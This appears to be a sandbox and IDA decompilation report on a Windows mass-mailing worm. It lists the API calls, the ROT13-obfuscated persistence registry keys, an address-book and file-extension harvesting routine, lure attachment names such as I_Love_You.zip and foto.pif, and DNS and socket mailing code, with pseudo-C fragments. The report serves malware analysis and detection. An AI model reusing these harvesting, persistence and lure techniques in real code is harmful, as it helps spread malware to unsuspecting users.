0x00403680
0x00403686
0x00403689
0x0040368e
0x00403691
0x00403694
0x00403699
0x00403667
0x00403667
0x00403667
0x004036a1
0x004036a9
0x004036af
0x004036b2
0x004036b7
0x004036bc
0x00403767
0x00403767
0x0040376a
0x00403777
0x0040377e
0x00403780
0x00403783
0x00403783
0x00000000
0x004036c2
0x004036c2
0x004036ca
0x004036cd
0x004036d2
0x004036d7
0x00000000
0x00000000
0x004036dd
0x004036e5
0x004036e8
0x004036ed
0x004036f2
0x00000000
0x00000000
0x004036f4
0x004036fc
0x004036ff
0x00403704
0x00403709
0x00000000
0x00000000
0x0040370b
0x00403713
0x00403716
0x0040371b
0x00403720
0x00000000
0x00000000
0x00403722
0x0040372a
0x0040372d
0x00403732
0x00403737
0x00000000
0x00000000
0x00403739
0x00403741
0x00403744
0x00403749
0x0040374e
0x00000000
0x00000000
0x00403750
0x00403758
0x0040375b
0x00403760
0x00403765
0x00403788
0x0040378f
0x0040378f
0x00000000
0x00403765
0x00000000
0x00000000
0x00000000
0x00403644
0x00403644
0x00403649
0x0040364b
0x0040364b
0x0040364d
0x00403653
0x0040365c
0x0040365f
0x00000000

APIs

lstrcpyn.KERNEL32 ref: 00403689
CharLowerA.USER32 ref: 00403694
lstrcmp.KERNEL32 ref: 004036B2
lstrcmp.KERNEL32 ref: 004036CD
lstrcmp.KERNEL32 ref: 004036E8
lstrcmp.KERNEL32 ref: 004036FF
lstrcmp.KERNEL32 ref: 00403716
lstrcmp.KERNEL32 ref: 0040372D
lstrcmp.KERNEL32 ref: 00403744
lstrcmp.KERNEL32 ref: 0040375B

Strings

htm, xrefs: 004036C2
php, xrefs: 00403739
doc, xrefs: 0040370B
tbb, xrefs: 00403750
html, xrefs: 004036A1
txt, xrefs: 004036DD
xml, xrefs: 004036F4
C:\, xrefs: 00403626

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcmp$CharLowerlstrcpyn
String ID: C:\$doc$htm$html$php$tbb$txt$xml
API String ID: 838419190-312059954
Opcode ID: dc05e5cdd392e04bc51eba1f7065f56e4f2167f4d31b7c461c5834b6df2cda79
Instruction ID: 6961f7bd5c8fa27dba0ec7a422f8e7192e07f4a6a10a31976eaf7852eedd0230
Opcode Fuzzy Hash: dc05e5cdd392e04bc51eba1f7065f56e4f2167f4d31b7c461c5834b6df2cda79
Instruction Fuzzy Hash: FE31B1B44047409AC7107F368A8526E7EE89B4078DF01897FEC80676C2D73C8A59CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8 Relevance: 19.6, APIs: 13, Instructions: 108
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E004017F8(signed int __edx, CHAR* _a4, intOrPtr* _a8) {
				void* _v16;
				DWORD* _v20;
				signed int _v24;
				signed int _v28;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				signed int _v52;
				DWORD* _v56;
				signed int _v60;
				DWORD* _v64;
				signed int _t50;
				void* _t54;
				void* _t55;
				int _t58;
				DWORD* _t62;
				void* _t65;
				void* _t68;
				DWORD* _t73;
				signed int _t74;
				void* _t86;
				DWORD* _t88;
				void* _t89;
				void* _t90;
				void** _t92;
				void** _t93;
				void** _t94;

				_t74 = __edx;
				_v20 = 0;
				_t50 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0xa7, 0); // executed
				_t90 = _t89 - 0x1c;
				_t86 = _t50;
				_t73 = 0;
				if((_t74 & 0xffffff00 | _t50 == 0xffffffff | _t50 & 0xffffff00 | _t50 == 0x00000000) == 0) {
					_v24 = GetFileSize(_t86, 0);
					_t54 = GetProcessHeap();
					_v52 = _v24;
					_v56 = 0;
					_t55 = RtlAllocateHeap(_t54); // executed
					_t92 = _t90 - 0xfffffffffffffffc;
					_v28 = _t55;
					if(_t55 != 0) {
						_v52 = 0;
						_v56 =  &_v20;
						_v60 = _v24;
						_v64 = _v28;
						 *_t92 = _t86; // executed
						_t58 = ReadFile(??, ??, ??, ??, ??); // executed
						_t93 = _t92 - 0x14;
						if(_t58 != 0) {
							_t88 = 1 + ((0xb + _v24 * 4) * 0xaaaaaaab >> 0x20 >> 3) * 4;
							_v64 = _t88;
							 *_t93 = 0x40; // executed
							_t62 = GlobalAlloc(??, ??); // executed
							_t94 = _t93 - 8;
							_v56 = _t88;
							_v60 = _t62;
							_v64 = _v24;
							 *_t94 = _v28;
							 *_a8 = E00401996(_v28, _v24);
							_t65 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t94 = _t65; // executed
							HeapFree(??, ??, ??); // executed
							 *(_t94 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = _t62;
						} else {
							_t68 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t93 = _t68;
							HeapFree(??, ??, ??);
							 *(_t93 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = 0;
						}
					} else {
						 *_t92 = _t86;
						CloseHandle(??);
						_t73 = 0;
					}
				}
				return _t73;
			}

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00406658), ref: 0040183E
GetFileSize.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040186B
GetProcessHeap.KERNEL32 ref: 00401876
RtlAllocateHeap.NTDLL ref: 0040188D
CloseHandle.KERNEL32 ref: 0040189F
ReadFile.KERNEL32 ref: 004018D1
GetProcessHeap.KERNEL32 ref: 004018DD
HeapFree.KERNEL32 ref: 004018F4
CloseHandle.KERNEL32 ref: 004018FF

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Heap$File$CloseHandleProcess$AllocateCreateFreeReadSize
String ID:
API String ID: 1447158257-0
Opcode ID: 7f27c00c31490a658b66461b7d86dade2f180051f5f8775049011d2bb6929749
Instruction ID: 56d12447d5e111c6f88c9cc84d084cd75ca963f9ae61866c417ed6db83e02629
Opcode Fuzzy Hash: 7f27c00c31490a658b66461b7d86dade2f180051f5f8775049011d2bb6929749
Instruction Fuzzy Hash: 614119B1904705DBD700EFA9C18536EBFF0AF84304F108A3EE884A7791D7799949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00407C4E Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 196
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocalTime.KERNEL32 ref: 00407E14
CreateThread.KERNEL32 ref: 00408044

Strings

2317q129n58non7o3148por15qs741r3, xrefs: 00407CC7
2wrwb=xfpav'g{sm#~gp, xrefs: 00407D04
command, xrefs: 00407FE5
p515p225982son69p76q604qp7s97975, xrefs: 00407CB4
(ohcx%gmlvl#b|d}m8e|k, xrefs: 00407DEE
4upyl?idzyt9z~`n%|e~, xrefs: 00407D50

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CreateLocalThreadTime
String ID: (ohcx%gmlvl#b|d}m8e|k$2317q129n58non7o3148por15qs741r3$2wrwb=xfpav'g{sm#~gp$4upyl?idzyt9z~`n%|e~$command$p515p225982son69p76q604qp7s97975
API String ID: 3972831565-1317110218
Opcode ID: 3b302b6d43d74a98c13ab758241e034301bd5c6a4bfb739d270d35eaf3ab789f
Instruction ID: 80463a4929d65f88bb62c6d7506587d1b44305c3c58205fc38c9e757c491522e
Opcode Fuzzy Hash: 3b302b6d43d74a98c13ab758241e034301bd5c6a4bfb739d270d35eaf3ab789f
Instruction Fuzzy Hash: F8A1F2B08083199ADB10DF55C5453DEBBF0BB94304F5089AED588A7381D7B89AC9CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBA Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 104
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32 ref: 00402BCE
lstrcat.KERNEL32 ref: 00402BE8

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402C20
lstrcat.KERNEL32 ref: 00402C42
lstrcat.KERNEL32 ref: 00402C67
lstrcat.KERNEL32 ref: 00402C91
lstrcat.KERNEL32 ref: 00402CB3
lstrcat.KERNEL32 ref: 00402CD8

Strings

mvcsvnd.qyy, xrefs: 00402CE0

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$CountTickrandsrand
String ID: mvcsvnd.qyy
API String ID: 2629717045-1605320677
Opcode ID: 18fdd52072c3ebfa53bd89602a8effff2b1c8b0ae3e42b16956988021cd2a7d8
Instruction ID: 3c31970993b76fcb6f62e82551040ecc98f125b31847a965db22ab4f080a2362
Opcode Fuzzy Hash: 18fdd52072c3ebfa53bd89602a8effff2b1c8b0ae3e42b16956988021cd2a7d8
Instruction Fuzzy Hash: F441FBB59043048BCB10BF65D98569DBBF0BF84314F40897FE584A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 83
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 004082DE
Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 00408336
Part of subcall function 0040829C: CloseHandle.KERNEL32 ref: 00408356

Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408409
Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408422
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 00408436
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 00408480
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 0040848E
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 004084BC
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 004084CA
Part of subcall function 0040829C: SetFilePointer.KERNEL32 ref: 004084F0
Part of subcall function 0040829C: ReadFile.KERNEL32 ref: 00408529

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Sleep.KERNEL32 ref: 00403BC2

Strings

mvcsvnd.qyy, xrefs: 00403B66
mvcsv.qyy, xrefs: 00403B1B
tepbcl.qyy, xrefs: 00403AEB
Readme.exe, xrefs: 00403B45
fgngrz, xrefs: 00403BF3
foto.pif, xrefs: 00403B96
x, xrefs: 00403B80
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403BDD

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$lstrlen$CreateHandleSizeWritelstrcat$CloseConnectedDirectoryInternetLibraryLoadModulePointerReadSleepStateSystemmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$Readme.exe$fgngrz$foto.pif$mvcsv.qyy$mvcsvnd.qyy$tepbcl.qyy$x
API String ID: 1266463258-727612787
Opcode ID: 819f8b6b43c1a4bc741779b6a6ad3373cdd59e2baf942c7b0dbc45e149701a7a
Instruction ID: aba1e27b33e5380b7e2637a9dd0f7b6f92beebfe16ff9740c24b48d29de174a4
Opcode Fuzzy Hash: 819f8b6b43c1a4bc741779b6a6ad3373cdd59e2baf942c7b0dbc45e149701a7a
Instruction Fuzzy Hash: 00313BB08097159AD310BF22C58529EBBE4AF80749F41CC7EF5C867281DB3C9689DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F24 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00403F24(int _a4) {
				void* _v12;
				char _v140;
				void* _v144;
				void* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				int _v196;
				int _v200;
				int _v204;
				long _t28;
				char* _t36;
				int _t37;
				int _t38;
				void* _t39;
				void* _t41;
				intOrPtr* _t42;

				_t38 = _a4;
				_v200 = "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32";
				_t36 =  &_v140;
				_v204 = _t36;
				E00404C38();
				_t28 = RegOpenKeyExA(0x80000000, _t36, 0, 0x20006,  &_v144); // executed
				_t41 = _t39 - 0xac;
				if(_t28 == 0) {
					L2:
					_v204 = _t38;
					L0040C310();
					_t42 = _t41 - 4;
					_v188 = _t28 + 1;
					_v192 = _t38;
					_v196 = 1;
					_v200 = 0;
					_v204 = 0;
					 *_t42 = _v144; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t42 - 0x18)) = _v144; // executed
					RegCloseKey(??); // executed
					_t37 = 1;
				} else {
					_t28 = RegCreateKeyExA(0x80000000, _t36, 0, 0, 0, 0x20006, 0,  &_v144, 0);
					_t41 = _t41 - 0x24;
					_t37 = 0;
					if(_t28 == 0) {
						goto L2;
					}
				}
				return _t37;
			}

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403F6D
RegCreateKeyExA.ADVAPI32 ref: 00403FBE
lstrlen.KERNEL32 ref: 00403FD2
RegSetValueExA.ADVAPI32 ref: 00404004
RegCloseKey.ADVAPI32 ref: 00404015

Strings

PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32, xrefs: 00403F32

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CloseCreateOpenValuelstrlen
String ID: PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32
API String ID: 2036214137-2655177054
Opcode ID: ec1065b16dadf3c4c55f63c78a6684bde4f16d54d4dd78719c56537c8a878fff
Instruction ID: 019c3a761b18c338743e8a7ff589e139028416f66cb1f4fe329e007e5a71a312
Opcode Fuzzy Hash: ec1065b16dadf3c4c55f63c78a6684bde4f16d54d4dd78719c56537c8a878fff
Instruction Fuzzy Hash: FB21E6B08083159BE710EF25C58535ABBF4BB84348F00896EE88897281E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE8 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 119memorystringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00405F28
GetProcessHeap.KERNEL32 ref: 00405F38

Part of subcall function 00409250: malloc.MSVCRT ref: 004092A3

Part of subcall function 004060AA: DnsQuery_A.DNSAPI ref: 004060E7
Part of subcall function 004060AA: GetProcessHeap.KERNEL32 ref: 0040610A
Part of subcall function 004060AA: RtlAllocateHeap.NTDLL ref: 00406122
Part of subcall function 004060AA: lstrcpy.KERNEL32 ref: 00406144
Part of subcall function 004060AA: GlobalFree.KERNEL32 ref: 00406182

GetProcessHeap.KERNEL32 ref: 00406049
HeapFree.KERNEL32 ref: 00406060

Part of subcall function 0040619A: memset.MSVCRT ref: 004061C4
Part of subcall function 0040619A: GetSystemTime.KERNEL32 ref: 00406249
Part of subcall function 0040619A: wsprintfA.USER32 ref: 004062BD
Part of subcall function 0040619A: socket.WS2_32 ref: 004062D9
Part of subcall function 0040619A: htons.WS2_32 ref: 004062F9
Part of subcall function 0040619A: inet_addr.WS2_32 ref: 0040630B
Part of subcall function 0040619A: gethostbyname.WS2_32 ref: 00406321
Part of subcall function 0040619A: connect.WS2_32 ref: 0040634D

Strings

j_@, xrefs: 00405FD2
@, xrefs: 00405F1A

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Heap$Process$Free$AllocateGlobalQuery_SystemTimeconnectgethostbynamehtonsinet_addrlstrcpymallocmemsetsocketstrchrwsprintf
String ID: @$j_@
API String ID: 3179556216-3208567232
Opcode ID: 95ab7cba7ccc7fd8cb65a0a908a152ab466b1d0a9c8d5ef17ee90a2dfc934584
Instruction ID: 173fe34617f367652bf3f1e9fca4c53672752cc9009160b2f8c90af088e1383c
Opcode Fuzzy Hash: 95ab7cba7ccc7fd8cb65a0a908a152ab466b1d0a9c8d5ef17ee90a2dfc934584
Instruction Fuzzy Hash: 7551B4B4904709DFCB10DFA5C48468EBBF1FF88314F14862AE868A7395D3389846CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00402A73 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402A87

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402AAF
lstrcat.KERNEL32 ref: 00402AD1
lstrcat.KERNEL32 ref: 00402AEB
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402B10

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

Happy_birthday_to_you.zip, xrefs: 00402B05

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: Happy_birthday_to_you.zip
API String ID: 1562643418-1870604427
Opcode ID: 73652fc745012f35a613cb51c5030b443c3aa7985adbbb7b3b37a4fc762c5969
Instruction ID: cc83420afc5f1d077a3f5b7fbaa549a80263fd77f6117133aa0d2265757cdded
Opcode Fuzzy Hash: 73652fc745012f35a613cb51c5030b443c3aa7985adbbb7b3b37a4fc762c5969
Instruction Fuzzy Hash: 3C21FF759043048BC710EF64D98169EBBF0EF84314F40897FE584A7341EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 004029C9 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004029DD

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402A05
lstrcat.KERNEL32 ref: 00402A27
lstrcat.KERNEL32 ref: 00402A41
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402A66

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

I_Love_You.zip, xrefs: 00402A5B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: I_Love_You.zip
API String ID: 1562643418-69349870
Opcode ID: f0be6be363c96f83dd8b6677fa028e109001417ba526e88bfd53a6699f616039
Instruction ID: f9bbb920bae34a53852b7a8ae3bd8492a159d249183d5996932f43f3eb41e795
Opcode Fuzzy Hash: f0be6be363c96f83dd8b6677fa028e109001417ba526e88bfd53a6699f616039
Instruction Fuzzy Hash: 3A21DF759043048BCB11EF64D98169EBBF4EF84314F40897FE585A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00403D26 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403D7B
RegCloseKey.ADVAPI32 ref: 00403D90
RegCreateKeyExA.ADVAPI32 ref: 00403E00
RegCloseKey.ADVAPI32 ref: 00403E15

Strings

Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403D30

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Close$CreateOpen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba
API String ID: 1299239824-3858799484
Opcode ID: e2de8787ab8b28c2df9a00a001bc5332683bdceb8eef226184d97ba353dea354
Instruction ID: 372c3b0a06c6ee96941f7226abfc86991cfccc6d41bd2ee5df839bccf0e05334
Opcode Fuzzy Hash: e2de8787ab8b28c2df9a00a001bc5332683bdceb8eef226184d97ba353dea354
Instruction Fuzzy Hash: 502131B0914315CEE710EF35C58579ABBF8BB44308F408A7EE484E7281E779C6888F52

Uniqueness

Uniqueness Score: -1.00%

Function 0040396E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004039A1
memset.MSVCRT ref: 004039CA
RegQueryValueExA.ADVAPI32 ref: 00403A08
RegCloseKey.ADVAPI32 ref: 00403A19

Part of subcall function 00403390: CreateFileA.KERNEL32 ref: 004033D2
Part of subcall function 00403390: GetFileSize.KERNEL32 ref: 00403409
Part of subcall function 00403390: CreateFileMappingA.KERNEL32 ref: 00403448
Part of subcall function 00403390: CloseHandle.KERNEL32 ref: 0040346E

Strings

Software\Microsoft\WAB\WAB4\Wab File Name, xrefs: 00403992

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
